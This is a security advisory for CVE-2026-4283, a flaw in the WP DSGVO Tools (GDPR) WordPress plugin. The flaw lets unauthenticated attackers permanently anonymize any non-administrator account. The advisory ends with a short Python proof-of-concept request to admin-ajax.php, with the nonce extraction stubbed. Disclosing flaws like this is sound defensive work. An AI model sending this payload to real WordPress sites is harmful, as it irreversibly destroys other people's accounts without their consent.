CVE-2026-4283

Description

The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to unauthorized account destruction in all versions up to, and including, 3.1.38. This is due to the `super-unsubscribe` AJAX action accepting a `process_now` parameter from unauthenticated users, which bypasses the intended email-confirmation flow and immediately triggers irreversible account anonymization. This makes it possible for unauthenticated attackers to permanently destroy any non-administrator user account (password randomized, username/email overwritten, roles stripped, comments anonymized, sensitive usermeta wiped) by submitting the victim's email address with `process_now=1`. The nonce required for the request is publicly available on any page containing the `[unsubscribe_form]` shortcode.

python
import requests target = "http://example.com" # Assume the attacker finds a page with the shortcode page = requests.get(f"{target}/page-with-unsubscribe-form/") # Extract the nonce from the HTML response (pseudo-parsing) # nonce = parse_nonce(page.text) nonce = "EXTRACTED_NONCE_VALUE" payload = { "action": "super-unsubscribe", "process_now": "1", "email": "[email protected]", "security": nonce } response = requests.post(f"{target}/wp-admin/admin-ajax.php", data=payload) print(response.text)
